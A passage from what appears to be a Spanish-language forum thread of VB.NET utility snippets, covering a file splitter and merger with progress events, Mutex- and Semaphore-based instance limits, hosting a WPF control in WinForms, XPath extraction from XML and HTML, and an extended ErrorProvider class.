End While ' InputStream.Position < InputStream.Length
End Using ' BinaryReader
End Using ' InputStream
' Set the progress event-arguments.
ProgressArguments =
New SplitProgressChangedArgs(
TotalProgress:=100.0R,
ChunkProgress:=100.0R,
ChunksToCreate:=ChunkCount + 1I,
ChunksCreated:=ChunkIndex)
' Report the progress event-arguments.
RaiseEvent SplitProgressChanged(Me, ProgressArguments)
End Sub
''' <summary>
''' Merges the specified file.
''' </summary>
''' <param name="InputFile">
''' Indicates the file to merge its chunks.
''' This should be the first chunk file (eg: 'File.Part.01.mkv')
''' </param>
''' <param name="OutputFile">Indicates the output file.</param>
''' <param name="Overwrite">
''' If set to <c>true</c>, in case that the 'OutputFile' exists it will be overwritten,
''' otherwise, an exception will be thrown.
''' </param>
''' <param name="DeleteChunksAfterMerged">
''' If set to <c>true</c>, the chunks will be deleted after a successful.
''' </param>
''' <exception cref="System.IO.FileNotFoundException">The specified file doesn't exists.</exception>
''' <exception cref="System.IO.IOException">File already exists.</exception>
''' <exception cref="System.Exception">The last chunk file is missing.</exception>
''' <exception cref="System.Exception">Unexpected chunk filesize-count detected.</exception>
Public Sub Merge(ByVal InputFile As String,
Optional ByVal OutputFile As String = Nothing,
Optional ByVal Overwrite As Boolean = False,
Optional DeleteChunksAfterMerged As Boolean = False)
If Not File.Exists(InputFile) Then
Throw New FileNotFoundException("The specified file doesn't exists.", InputFile)
Exit Sub
ElseIf Not Overwrite AndAlso File.Exists(OutputFile) Then
Throw New IOException(String.Format("File already exists: {0}", OutputFile))
Exit Sub
End If
' The progress event arguments.
Dim ProgressArguments As MergeProgressChangedArgs
' FileInfo instance of the input chunk file.
Dim fInfo As New FileInfo(InputFile)
' Get the filename without extension.
Dim Filename As String = Path.GetFileNameWithoutExtension(fInfo.FullName)
' Remove the chunk enumeration from the filename.
Filename = Filename.Substring(0I, Filename.LastIndexOf("."c))
' TSet the pattern to find the chunk files to merge.
Dim ChunkPatternSearch As String =
Filename & ".*" & If(Not String.IsNullOrEmpty(fInfo.Extension), fInfo.Extension, "")
' Retrieve all the chunk files to merge them.
Dim Chunks As IEnumerable(Of FileInfo) =
From Chunk As String In
Directory.GetFiles(fInfo.DirectoryName, ChunkPatternSearch, SearchOption.TopDirectoryOnly)
Select New FileInfo(Chunk)
If Chunks.Count < 2I Then ' If chunk files are less than 2 then...
Throw New Exception("The last chunk file is missing.")
Exit Sub
End If
' The total filesize to merge, in bytes.
Dim TotalSize As Long =
(From Chunk As FileInfo In Chunks Select Chunk.Length).Sum
' Gets the filesize of the chunk files and the last chunk file, in bytes.
Dim ChunkSizes As Long() =
(From Chunk As FileInfo In Chunks
Select Chunk.Length Order By Length Descending
).Distinct.ToArray
If ChunkSizes.Count > 2I Then ' If chunk sizes are more than 2...
Throw New Exception("Unexpected chunk filesize-count detected.")
Exit Sub
End If
' The remaining size to calculate the percentage, in bytes.
Dim SizeRemaining As Long = TotalSize
' Counts the length of the current chunk file to calculate the percentage, in bytes.
Dim SizeWritten As Long = 0L
' Counts the length of the written size on the current chunk file, in bytes.
Dim ChunkSizeWritten As Long = 0L
' The buffer to read data and merge the chunks.
Dim Buffer As Byte() = New Byte() {}
' The buffer length.
Dim BufferLength As Integer = Me.BufferSize
' The total amount of chunks to merge.
Dim ChunkCount As Integer = Chunks.Count
' Keeps track of the current chunk.
Dim ChunkIndex As Integer = 0I
' Keeps track of the total percentage done.
Dim TotalProgress As Double = 0.0R
' Create the output file to merge the chunks inside.
Using OutputStream As New FileStream(OutputFile, FileMode.Create)
Using BinaryWriter As New BinaryWriter(OutputStream)
' Iterate the chunks.
For Each Chunk As FileInfo In Chunks
' Open the chunk to start reading bytes.
Using InputStream As New FileStream(Chunk.FullName, FileMode.Open)
Using BinaryReader As New BinaryReader(InputStream)
' Read until reached the end-bytes of the chunk file.
While (InputStream.Position < InputStream.Length)
' Read bytes from the chunk file (BufferSize byte-length).
Buffer = BinaryReader.ReadBytes(BufferLength)
' Write those bytes in the output file.
BinaryWriter.Write(Buffer)
' Increment the bytes-written counters.
SizeWritten += Buffer.Count
ChunkSizeWritten += Buffer.Count
' Decrease the bytes-remaining counter.
SizeRemaining -= Buffer.Count
' Set the total progress.
TotalProgress = (TotalSize - SizeRemaining) * (100I / TotalSize)
' Set the progress event-arguments.
ProgressArguments = New MergeProgressChangedArgs(
TotalProgress:=If(Not TotalProgress > 99.9R, TotalProgress, 99.9R),
ChunkProgress:=(100I / InputStream.Length) * (ChunkSizeWritten - BufferLength),
ChunksToMerge:=ChunkCount,
ChunksMerged:=ChunkIndex)
' Report the progress.
RaiseEvent MergeProgressChanged(Me, ProgressArguments)
End While ' (InputStream.Position < InputStream.Length)
ChunkIndex += 1I ' Increment the chunk file counter.
ChunkSizeWritten = 0L ' Reset the bytes-written for the next chunk.
End Using ' BinaryReader
End Using ' InputStream
Next Chunk
OutputStream.Flush()
End Using ' BinaryWriter
End Using ' OutputStream
' Set the progress event-arguments.
ProgressArguments = New MergeProgressChangedArgs(
TotalProgress:=100.0R,
ChunkProgress:=100.0R,
ChunksToMerge:=ChunkCount,
ChunksMerged:=ChunkIndex)
' Report the progress.
RaiseEvent MergeProgressChanged(Me, ProgressArguments)
If DeleteChunksAfterMerged Then ' Delethe the chunk files.
For Each Chunk As FileInfo In Chunks
File.Delete(Chunk.FullName)
Next Chunk
End If ' DeleteChunksAfterMerged
End Sub
#End Region
End Class
Ejemplo de uso:
(http://i.imgur.com/iHTrf2o.png)
Public Class FileSplitter_Test
' Some Sizes to choose.
Private ReadOnly Megabyte As Integer = 1048576I
Private ReadOnly Gigabyte As Integer = 1073741824I
' The controls that will report the progress.
Private LabelSplit1, LabelSplit2, LabelSplit3 As New Label
Private LabelMerge1, LabelMerge2, LabelMerge3 As New Label
' The controls to split or merge.
Private WithEvents ButtonSplit, ButtonMerge As New Button
' The FileSplitter instance.
Private WithEvents Splitter As New FileSplitter() With
{
.BufferSize = (Megabyte * 10I)
} ' With BufferSize of 10 Megabytes.
Public Sub New()
' This call is required by the designer.
InitializeComponent()
' Set the Form properties.
With Me
.Size = New Point(400, 200)
.FormBorderStyle = Windows.Forms.FormBorderStyle.FixedDialog
.MaximizeBox = False
End With
' Set the control properties.
With ButtonSplit
.Text = "Split"
.Font = New Font(Me.Font.FontFamily, 14.0F, FontStyle.Bold)
.Size = New Point(200I, 75I)
.Location = New Point(0I, 0I)
.Cursor = Cursors.Hand
End With
With ButtonMerge
.Text = "Merge"
.Font = New Font(Me.Font.FontFamily, 14.0F, FontStyle.Bold)
.Size = New Point(200I, 75I)
.Location = New Point(ButtonSplit.Location.X + ButtonSplit.Width, 0I)
.Cursor = Cursors.Hand
End With
With LabelSplit1
.Text = "Total Progress:"
.AutoSize = True
.Font = New Font(Me.Font.FontFamily, 9.0F, FontStyle.Regular)
.Location = New Point(0I, ButtonSplit.Location.Y + ButtonSplit.Height + 10I)
End With
With LabelSplit2
.Text = "Chunk Progress:"
.AutoSize = True
.Font = New Font(Me.Font.FontFamily, 9.0F, FontStyle.Regular)
.Location = New Point(0I, LabelSplit1.Location.Y + LabelSplit1.Height)
End With
With LabelSplit3
.Text = "Chunk Count:"
.AutoSize = True
.Font = New Font(Me.Font.FontFamily, 9.0F, FontStyle.Regular)
.Location = New Point(0I, LabelSplit2.Location.Y + LabelSplit2.Height)
End With
With LabelMerge1
.Text = "Total Progress:"
.AutoSize = True
.Font = New Font(Me.Font.FontFamily, 9.0F, FontStyle.Regular)
.Location = New Point(ButtonMerge.Location.X, ButtonMerge.Location.Y + ButtonMerge.Height + 10I)
End With
With LabelMerge2
.Text = "Chunk Progress:"
.AutoSize = True
.Font = New Font(Me.Font.FontFamily, 9.0F, FontStyle.Regular)
.Location = New Point(ButtonMerge.Location.X, LabelMerge1.Location.Y + LabelMerge1.Height)
End With
With LabelMerge3
.Text = "Chunk Count:"
.AutoSize = True
.Font = New Font(Me.Font.FontFamily, 9.0F, FontStyle.Regular)
.Location = New Point(ButtonMerge.Location.X, LabelMerge2.Location.Y + LabelMerge2.Height)
End With
' Add the controls into the form.
Me.Controls.AddRange({LabelSplit1, LabelSplit2, LabelSplit3})
Me.Controls.AddRange({LabelMerge1, LabelMerge2, LabelMerge3})
Me.Controls.AddRange({ButtonSplit, ButtonMerge})
End Sub
''' <summary>
''' Handles the 'Click' event of the 'ButtonSplit' control.
''' </summary>
Private Sub ButtonSplit_Click() Handles ButtonSplit.Click
Splitter.Split(InputFile:="C:\File.mkv",
ChunkSize:=Gigabyte,
ChunkName:="File.Part",
ChunkExt:="fs",
Overwrite:=True,
DeleteAfterSplit:=False)
End Sub
''' <summary>
''' Handles the 'Click' event of the 'ButtonMerge' control.
''' </summary>
Private Sub ButtonMerge_Click() Handles ButtonMerge.Click
Splitter.Merge(InputFile:="C:\File.Part.1.fs",
OutputFile:="C:\Merged.mkv",
Overwrite:=True,
DeleteChunksAfterMerged:=True)
End Sub
''' <summary>
''' Handles the 'SplitProgressChangedArgs' event of the 'Splitter' object.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="FileSplitter.SplitProgressChangedArgs"/> instance containing the event data.</param>
Private Sub Splitter_SplitProgressChangedArgs(ByVal sender As Object, ByVal e As FileSplitter.SplitProgressChangedArgs) _
Handles Splitter.SplitProgressChanged
LabelSplit1.Text = String.Format("Total Progress: {0}%", e.TotalProgress.ToString("n1"))
LabelSplit2.Text = String.Format("Chunk Progress: {0}%", e.ChunkProgress.ToString("n1"))
LabelSplit3.Text = String.Format("Chunk Count: {0} of {1}", CStr(e.ChunksCreated), CStr(e.ChunksToCreate))
Application.DoEvents()
End Sub
''' <summary>
''' Handles the 'MergeProgressChangedArgs' event of the 'Splitter' object.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="FileSplitter.MergeProgressChangedArgs"/> instance containing the event data.</param>
Private Sub Splitter_MergeProgressChangedArgs(ByVal sender As Object, ByVal e As FileSplitter.MergeProgressChangedArgs) _
Handles Splitter.MergeProgressChanged
LabelMerge1.Text = String.Format("Total Progress: {0}%", e.TotalProgress.ToString("n1"))
LabelMerge2.Text = String.Format("Chunk Progress: {0}%", e.ChunkProgress.ToString("n1"))
LabelMerge3.Text = String.Format("Chunk Count: {0} of {1}", CStr(e.ChunksMerged), CStr(e.ChunksToMerge))
Application.DoEvents()
End Sub
End Class
Aquí explico una manera de limitar manualmente la aplicación a única instancia (Single-Instance), mediante el MUTEX.
(http://i.imgur.com/XKmKI2q.png)
' Single-Instance Application Example
' By Elektro
' Instructions:
' 1. Open the project properties page, goto 'Application' tab, and click in 'View application Events' button.
' 2. Copy and paste this code to replace the 'MyApplication' class contents.
' 3. Define a proper identifier for 'MutexID' property.
Namespace My
Partial Friend Class MyApplication
#Region " Properties "
''' <summary>
''' Gets the current process mutex identifier.
''' </summary>
''' <value>the current process mutex identifier.</value>
''' <exception cref="System.FormatException">The specified value is not a valid GUID format.</exception>
Private ReadOnly Property MutexID As String
Get
' Define a Golabl Unique Identifier to name the Mutex.
Dim Id As String = "b045ce40-2863-4ce7-a7df-8afca8214454"
If Guid.TryParse(input:=Id, result:=New Guid) Then
Return Id
Else
Throw New FormatException("The specified value is not in a valid GUID format.")
End If
End Get
End Property
#End Region
#Region " Private Methods "
''' <summary>
''' Determines whether this is the unique instance that is running for this process.
''' </summary>
''' <returns><c>true</c> if this is the unique instance; otherwise, <c>false</c>.</returns>
Private Function IsUniqueInstance() As Boolean
Dim mtx As Threading.Mutex = Nothing
Try
mtx = Threading.Mutex.OpenExisting(name:=Me.MutexID)
mtx.Close()
mtx = Nothing
Catch
mtx = New Threading.Mutex(initiallyOwned:=True, name:=Me.MutexID)
End Try
Return mtx IsNot Nothing
End Function
#End Region
#Region " Event-Handlers "
''' <summary>
''' This occurs when the application starts, before the startup Form is created.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="ApplicationServices.StartupEventArgs"/> instance containing the event data.</param>
Private Sub MyApplication_Startup(ByVal sender As Object, ByVal e As ApplicationServices.StartupEventArgs) _
Handles Me.Startup
' If there is more than one instance running of this process with the same mutex then...
If Not Me.IsUniqueInstance Then ' Prevent multi-instancing.
MessageBox.Show("This is a limited demo, to run multiple instances please purchase the program.",
Application.Info.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Error)
' Cancel the application execution.
e.Cancel = True
End If
End Sub
#End Region
End Class ' MyApplication
End Namespace
Un ejemplo de como añadir y usar un control WPF (no un proyecto) en Winforms, en tiempo de ejecución.
En este ejemplo uso un control simple que imita el indicador de progreso de Windows 8:
(http://i.imgur.com/v9LK8lk.gif)
' Example of how to add an WPF Control in a WinForms project at execution time.
' By Elektro
' Instructions:
' 1. Compile your own WPF user-control or download this one: http://www.codeproject.com/Articles/700185/Windows-Progress-Ring?msg=4884207#xx4884207xx
' 2. Add a reference to 'WindowsformsIntegration', 'PresentationFramework', 'PresentationCore', 'WindowsBase' and 'System.Xaml'.
' 3. Add a reference to our WPF library, in this example is: 'WindowsProgressRing.dll'
' 4. If the 'WindowsProgressRing.dll' user-control doesnt's load properly, set the targeting Framework to '4.5'.
#Region " Imports "
Imports System.Windows.Forms.Integration ' ElementHost
#End Region
#Region " WPFControl_TestClass "
Public Class WPFControl_TestClass
''' <summary>
''' The ElementHost instance that will host the WPF user-control.
''' </summary>
Dim WPFHost As New ElementHost With {.Dock = DockStyle.Fill}
''' <summary>
''' The WPF user-control instance.
''' </summary>
Dim WPFControl As New NMT.Wpf.Controls.WindowsProgressRing
''' <summary>
''' Initializes a new instance of the <see cref="WPFControl_TestClass"/> class.
''' </summary>
Public Sub New()
' This call is required by the designer.
InitializeComponent()
With Me ' Set the Form properties.
.StartPosition = FormStartPosition.CenterScreen
.FormBorderStyle = Windows.Forms.FormBorderStyle.FixedSingle
.MaximizeBox = False
.ShowIcon = False
.BackColor = Color.Black
.Size = New Drawing.Size(320I, 320I)
.Controls.Add(WPFHost) ' Add the ElementHost.
End With ' Me
With WPFHost ' Set the ElementHost properties.
.Width = 120I
.Height = 120I
WPFHost.Child = WPFControl ' Add the WPF Control.
End With ' WPFHost
With WPFControl ' Set the WPF Control properties.
.Items = 60I
.Width = 120.0R
.Height = 120.0R
.Speed = New Windows.Duration(TimeSpan.FromSeconds(2.5R))
.Background = New Windows.Media.SolidColorBrush(Windows.Media.Color.FromRgb(Color.Black.R, Color.Black.G, Color.Black.B))
.Foreground = New Windows.Media.SolidColorBrush(Windows.Media.Color.FromRgb(Color.DodgerBlue.R, Color.DodgerBlue.G, Color.DodgerBlue.B))
End With ' WPFControl
End Sub
End Class ' WPFControl_TestClass
#End Region
Este código es parecido al ejemplo que mostré de como implementar una prevención de múltiples instancias, pero la diferencia de este código es que se puede especificar un máximo de instancias múltiples (en la propiedad 'SemaphID')
(http://i.imgur.com/pQekOki.png)
' Multi-Instance Limit Example
' By Elektro
' Instructions:
' 1. Open the project properties page, goto 'Application' tab, and click in 'View application Events' button.
' 2. Copy and paste this code to replace the 'MyApplication' class contents.
' 3. Define a proper identifier for 'SemaphID' property.
Namespace My
Partial Friend Class MyApplication
''' <summary>
''' The semaphore object used to limit the number of instances.
''' </summary>
Private Semaph As Threading.Semaphore = Nothing
''' <summary>
''' Gets the current semaphore object identifier.
''' </summary>
''' <value>The current process semaphore identifier.</value>
''' <exception cref="System.FormatException">The specified value is not a valid GUID format.</exception>
Private ReadOnly Property SemaphID As String
Get
' Define a Golabl Unique Identifier to name the semaphore object.
Dim Id As String = "b045ce40-2863-4ce7-a7df-8afca8214454"
If Guid.TryParse(input:=Id, result:=New Guid) Then
Return Id
Else
Throw New FormatException("The specified value is not in a valid GUID format.")
End If
End Get
End Property
''' <summary>
''' Gets the maximum instances allowed for this process.
''' </summary>
''' <value>The maximum instances allowed for this process.</value>
Private ReadOnly Property MaxInstances As Integer
Get
Return 3
End Get
End Property
''' <summary>
''' Determines whether the semaphore can receive a signal.
''' </summary>
''' <returns><c>true</c> if this instance [can set semaphore]; otherwise, <c>false</c>.</returns>
Private Function CanSetSemaphore() As Boolean
Semaph = New Threading.Semaphore(initialCount:=Me.MaxInstances,
maximumCount:=Me.MaxInstances,
name:=Me.SemaphID)
Return Semaph.WaitOne(100I)
End Function
''' <summary>
''' This occurs when the application starts, before the startup Form is created.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="ApplicationServices.StartupEventArgs"/> instance containing the event data.</param>
Private Sub MyApplication_Startup(ByVal sender As Object, ByVal e As ApplicationServices.StartupEventArgs) _
Handles Me.Startup
' If there is more than the maximum allowed instances running with the same id then...
If Not Me.CanSetSemaphore Then ' Prevent multi-instancing.
MessageBox.Show("This is a limited demo, to run multiple instances please purchase the program.",
Application.Info.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Error)
' Cancel the application Startup to terminate the process.
e.Cancel = True
End If
End Sub
''' <summary>
''' This occurs when the application shuts down.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub MyApplication_Shutdown(ByVal sender As Object, ByVal e As EventArgs) _
Handles Me.Shutdown
If Semaph IsNot Nothing Then
' Free the semaphore to allow next app runs.
Semaph.Release()
Semaph.Close()
Semaph = Nothing
End If ' semaph IsNot Nothing
End Sub
End Class ' MyApplication
End Namespace
Convierte un String a HTMLDocument
' String To HtmlDocument
' By Elektro
'
' Example Usage:
' Dim Document As HtmlDocument = StringToHtmlDocument(IO.File.ReadAllText("C:\File.html", Text.Encoding.Default))
'
''' <summary>
''' Converts a <see cref="String"/> to an <see cref="HTMLDocument"/>.
''' </summary>
''' <param name="str">Indicates the string.</param>
''' <returns>The <see cref="HTMLDocument"/> object.</returns>
Public Function StringToHtmlDocument(ByVal str As String) As HtmlDocument
Using wb As New WebBrowser
wb.ScriptErrorsSuppressed = True
wb.DocumentText = ""
wb.Document.OpenNew(replaceInHistory:=True)
wb.Document.Write(str)
Return wb.Document
End Using
End Function
Obtiene los XPaths de un XMLDocument:
(http://i.imgur.com/PwkVi9Y.png)
' Get XPaths
' By Elektro
'
' Example Usage:
'
' Dim xDoc As New Xml.XmlDocument
' xDoc.Load("C:\File.xml")
' Dim XPathList As List(Of String) = GetXPaths(xDoc)
' ListBox1.Items.AddRange((From XPath As String In XPathList Select XPath).ToArray)
''' <summary>
''' Gets all the XPath expressions of an XML Document.
''' </summary>
''' <param name="Document">Indicates the XML document.</param>
''' <returns>List(Of System.String).</returns>
Public Function GetXPaths(ByVal Document As Xml.XmlDocument) As List(Of String)
Dim XPathList As New List(Of String)
Dim XPath As String = String.Empty
For Each Child As Xml.XmlNode In Document.ChildNodes
If Child.NodeType = Xml.XmlNodeType.Element Then
GetXPaths(Child, XPathList, XPath)
End If
Next ' child
Return XPathList
End Function
''' <summary>
''' Gets all the XPath expressions of an XML Node.
''' </summary>
''' <param name="Node">Indicates the XML node.</param>
''' <param name="XPathList">Indicates a ByReffered XPath list as a <see cref="List(Of String)"/>.</param>
''' <param name="XPath">Indicates the current XPath.</param>
Private Sub GetXPaths(ByVal Node As Xml.XmlNode,
ByRef XPathList As List(Of String),
Optional ByVal XPath As String = Nothing)
XPath &= "/" & Node.Name
If Not XPathList.Contains(XPath) Then
XPathList.Add(XPath)
End If
For Each Child As Xml.XmlNode In Node.ChildNodes
If Child.NodeType = Xml.XmlNodeType.Element Then
GetXPaths(Child, XPathList, XPath)
End If
Next ' child
End Sub
Obtiene las expresiones XPath de un documento Html, usando la librería HtmlAgilityPack (http://htmlagilitypack.codeplex.com/).
PD: Si encuentran algún fallo porfavor reportármelo, no conozco mucho el tema de los XPath.
(http://i.imgur.com/heqTmvt.png)
' Get Html XPaths
' By Elektro
'
' Example Usage:
'
' Dim Document As New HtmlAgilityPack.HtmlDocument
' Document.LoadHtml(IO.File.ReadAllText("C:\File.html"))
' Dim XpathList As List(Of String) = GetHtmlXPaths(Document)
' ListBox1.Items.AddRange((From XPath As String In XpathList Select XPath).ToArray)
''' <summary>
''' Gets all the XPath expressions of an <see cref="HtmlAgilityPack.HtmlDocument"/> document.
''' </summary>
''' <param name="Document">Indicates the <see cref="HtmlAgilityPack.HtmlDocument"/> document.</param>
''' <returns>List(Of System.String).</returns>
Public Function GetHtmlXPaths(ByVal Document As HtmlAgilityPack.HtmlDocument) As List(Of String)
Dim XPathList As New List(Of String)
Dim XPath As String = String.Empty
For Each Child As HtmlAgilityPack.HtmlNode In Document.DocumentNode.ChildNodes
If Child.NodeType = HtmlAgilityPack.HtmlNodeType.Element Then
GetHtmlXPaths(Child, XPathList, XPath)
End If
Next Child
Return XPathList
End Function
''' <summary>
''' Gets all the XPath expressions of an <see cref="HtmlAgilityPack.HtmlNode"/>.
''' </summary>
''' <param name="Node">Indicates the <see cref="HtmlAgilityPack.HtmlNode"/>.</param>
''' <param name="XPathList">Indicates a ByReffered XPath list as a <see cref="List(Of String)"/>.</param>
''' <param name="XPath">Indicates the current XPath.</param>
Private Sub GetHtmlXPaths(ByVal Node As HtmlAgilityPack.HtmlNode,
ByRef XPathList As List(Of String),
Optional ByVal XPath As String = Nothing)
XPath &= Node.XPath.Substring(Node.XPath.LastIndexOf("/"c))
Const ClassNameFilter As String = "[@class='{0}']"
Dim ClassName As String = Node.GetAttributeValue("class", String.Empty)
If Not String.IsNullOrEmpty(ClassName) Then
XPath &= String.Format(ClassNameFilter, ClassName)
End If
If Not XPathList.Contains(XPath) Then
XPathList.Add(XPath)
End If
For Each Child As HtmlAgilityPack.HtmlNode In Node.ChildNodes
If Child.NodeType = HtmlAgilityPack.HtmlNodeType.Element Then
GetHtmlXPaths(Child, XPathList, XPath)
End If
Next Child
End Sub
Me encontré por ahí un ErrorProvider extendido, ya no recuerdo donde lo encontré, y la documentación es... bueno, muy pobre, pero es facil de usar y sencillo de entender a pesar de ello:
'Following class is inherited from basic ErrorProvider class
#Region "Error Provider Extended"
Public Class ErrorProviderExtended
Inherits System.Windows.Forms.ErrorProvider
Private _validationcontrols As New ValidationControlCollection
Private _summarymessage As String = "Please enter following mandatory fields,"
'This property will be used for displaying a summary message about all empty fields
'Default value is "Please enter following mandatory fields,". You can set any other
'message using this property.
Public Property SummaryMessage() As String
Get
Return _summarymessage
End Get
Set(ByVal Value As String)
_summarymessage = Value
End Set
End Property
'Controls property is of type ValidationControlCollection which is inherited from CollectionBase
'Controls holds all those objects which should be validated.
Public Property Controls() As ValidationControlCollection
Get
Return _validationcontrols
End Get
Set(ByVal Value As ValidationControlCollection)
_validationcontrols = Value
End Set
End Property
'Following function returns true if all fields on form are entered.
'If not all fields are entered, this function displays a message box which contains all those field names
'which are empty and returns FALSE.
Public Function CheckAndShowSummaryErrorMessage() As Boolean
If Controls.Count <= 0 Then
Return True
End If
Dim i As Integer
Dim msg As String = SummaryMessage + vbNewLine + vbNewLine
Dim berrors As Boolean = False
For i = 0 To Controls.Count - 1
If Controls(i).Validate Then
If Trim(Controls(i).ControlObj.text) = "" Then
msg &= "> " & Controls(i).DisplayName & vbNewLine
SetError(Controls(i).ControlObj, Controls(i).ErrorMessage)
berrors = True
Else
SetError(Controls(i).ControlObj, "")
End If
Else
SetError(Controls(i).ControlObj, "")
End If
Next
If berrors Then
System.Windows.Forms.MessageBox.Show(msg, "Missing Information", Windows.Forms.MessageBoxButtons.OK, Windows.Forms.MessageBoxIcon.Stop)
Return False
Else
Return True
End If
End Function
'Following function clears error messages from all controls.
Public Sub ClearAllErrorMessages()
Dim i As Integer
For i = 0 To Controls.Count - 1
SetError(Controls(i).ControlObj, "")
Next
End Sub
'This function hooks validation event with all controls.
Public Sub SetErrorEvents()
Dim i As Integer
For i = 0 To Controls.Count - 1
AddHandler CType(Controls(i).ControlObj, System.Windows.Forms.Control).Validating, AddressOf Validation_Event
Next
End Sub
'Following event is hooked for all controls, it sets an error message with the use of ErrorProvider.
Private Sub Validation_Event(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) 'Handles txtCompanyName.Validating
If Controls(sender).Validate Then
If Trim(sender.Text) = "" Then
MyBase.SetError(sender, Controls(sender).ErrorMessage)
Else
MyBase.SetError(sender, "")
End If
End If
End Sub
End Class
#End Region
'Following class is inherited from CollectionBase class. It is used for holding all Validation Controls.
'This class is collection of ValidationControl class objects.
'This class is used by ErrorProviderExtended class.
#Region "ValidationControlCollection"
Public Class ValidationControlCollection
Inherits CollectionBase
Default Public Property Item(ByVal ListIndex As Integer) As ValidationControl
Get
Return Me.List(ListIndex)
End Get
Set(ByVal Value As ValidationControl)
Me.List(ListIndex) = Value
End Set
End Property
Default Public Property Item(ByVal pControl As Object) As ValidationControl
Get
If IsNothing(pControl) Then
Return Nothing
End If
If GetIndex(pControl.Name) < 0 Then
Return New ValidationControl
End If
Return Me.List(GetIndex(pControl.Name))
End Get
Set(ByVal Value As ValidationControl)
If IsNothing(pControl) Then Exit Property
If GetIndex(pControl.Name) < 0 Then
Exit Property
End If
Me.List(GetIndex(pControl.Name)) = Value
End Set
End Property
Function GetIndex(ByVal ControlName As String) As Integer
Dim i As Integer
For i = 0 To Count - 1
If Item(i).ControlObj.name.toupper = ControlName.ToUpper Then
Return i
End If
Next
Return -1
End Function
Public Sub Add(ByRef pControl As Object, ByVal pDisplayName As String)
If IsNothing(pControl) Then Exit Sub
Dim obj As New ValidationControl
obj.ControlObj = pControl
obj.DisplayName = pDisplayName
obj.ErrorMessage = "Please enter " + pDisplayName
Me.List.Add(obj)
End Sub
Public Sub Add(ByRef pControl As Object, ByVal pDisplayName As String, ByVal pErrorMessage As String)
If IsNothing(pControl) Then Exit Sub
Dim obj As New ValidationControl
obj.ControlObj = pControl
obj.DisplayName = pDisplayName
obj.ErrorMessage = pErrorMessage
Me.List.Add(obj)
End Sub
Public Sub Add(ByRef pControl As Object)
If IsNothing(pControl) Then Exit Sub
Dim obj As New ValidationControl
obj.ControlObj = pControl
obj.DisplayName = pControl.Name
obj.ErrorMessage = "Please enter " + pControl.Name
Me.List.Add(obj)
End Sub
Public Sub Add(ByVal pControl As ValidationControl)
If IsNothing(pControl) Then Exit Sub
Me.List.Add(pControl)
End Sub
Public Sub Remove(ByVal pControl As Object)
If IsNothing(pControl) Then Exit Sub
Dim i As Integer = Me.GetIndex(pControl.Name)
If i >= 0 Then
Me.List.RemoveAt(i)
End If
End Sub
End Class
#End Region
'ValidationControl class is used to hold any control from windows form.
'It holds any control in ControlObj property.
#Region "ValidationControl"
Public Class ValidationControl
Private _control As Object
Private _displayname As String
Private _errormessage As String
Private _validate As Boolean = True
'Validate property decides weather control is to be validated. Default value is TRUE.
Public Property Validate() As Boolean
Get
Return _validate
End Get
Set(ByVal Value As Boolean)
_validate = Value
End Set
End Property
'ControlObj is a control from windows form which is to be validated.
'For example txtStudentName
Public Property ControlObj() As Object
Get
Return _control
End Get
Set(ByVal Value As Object)
_control = Value
End Set
End Property
'DisplayName property is used for displaying summary message to user.
'For example, for txtStudentName you can set 'Student Full Name' as field name.
'This field name will be displayed in summary message.
Public Property DisplayName() As String
Get
Return _displayname
End Get
Set(ByVal Value As String)
_displayname = Value
End Set
End Property
'ErrorMessage is also used for displaying summary message.
'For example, you can enter 'Student Name is mandatory' as an error message.
Public Property ErrorMessage() As String
Get
Return _errormessage
End Get
Set(ByVal Value As String)
_errormessage = Value
End Set
End Property
End Class
#End Region
EDITO: Ya lo he documentado yo así rapidamente:
#Region "Error Provider Extended"
''' <summary>
''' Provides a user interface for indicating that a control on a form has an error associated with it.
''' </summary>
Public Class ErrorProviderExtended
Inherits System.Windows.Forms.ErrorProvider
Private _validationcontrols As New ValidationControlCollection
Private _summarymessage As String = "Please enter following mandatory fields,"
''' <summary>
''' Gets or sets the summary message.
''' This property will be used for displaying a summary message about all empty fields.
''' Default value is "Please enter following mandatory fields,".
''' You can set any other message using this property.
''' </summary>
''' <value>The summary message.</value>
Public Property SummaryMessage() As String
Get
Return _summarymessage
End Get
Set(ByVal Value As String)
_summarymessage = Value
End Set
End Property
''' <summary>
''' Gets or sets the controls which should be validated.
''' </summary>
''' <value>The controls.</value>
Public Property Controls() As ValidationControlCollection
Get
Return _validationcontrols
End Get
Set(ByVal Value As ValidationControlCollection)
_validationcontrols = Value
End Set
End Property
''' <summary>
''' Checks the and show summary error message.
''' </summary>
''' <param name="ShowMessage">
''' If set to <c>true</c>, This function displays a message box which contains all the field names which are empty.
''' </param>
''' <returns><c>true</c> if all fields on form are entered, <c>false</c> otherwise.</returns>
Public Function CheckAndShowSummaryErrorMessage(Optional ByVal ShowMessage As Boolean = False) As Boolean
If Controls.Count <= 0 Then
Return True
End If
Dim i As Integer
Dim msg As String = SummaryMessage + vbNewLine + vbNewLine
Dim berrors As Boolean = False
For i = 0 To Controls.Count - 1
If Controls(i).Validate Then
If Trim(Controls(i).ControlObj.text) = "" Then
If ShowMessage Then
msg &= "> " & Controls(i).DisplayName & vbNewLine
End If
SetError(Controls(i).ControlObj, Controls(i).ErrorMessage)
berrors = True
Else
SetError(Controls(i).ControlObj, "")
End If
Else
SetError(Controls(i).ControlObj, "")
End If
Next i
If berrors Then
If ShowMessage Then
MessageBox.Show(msg, "Missing Information", MessageBoxButtons.OK, MessageBoxIcon.Stop)
End If
Return False
Else
Return True
End If
End Function
''' <summary>
''' Clears error messages from all controls.
''' </summary>
Public Sub ClearAllErrorMessages()
Dim i As Integer
For i = 0 To Controls.Count - 1
SetError(Controls(i).ControlObj, "")
Next
End Sub
''' <summary>
''' Hooks validation event with all controls.
''' </summary>
Public Sub SetErrorEvents()
Dim i As Integer
For i = 0 To Controls.Count - 1
AddHandler CType(Controls(i).ControlObj, System.Windows.Forms.Control).Validating, AddressOf Validation_Event
Next
End Sub
''' <summary>
''' Handles the Event event of the Validation control.
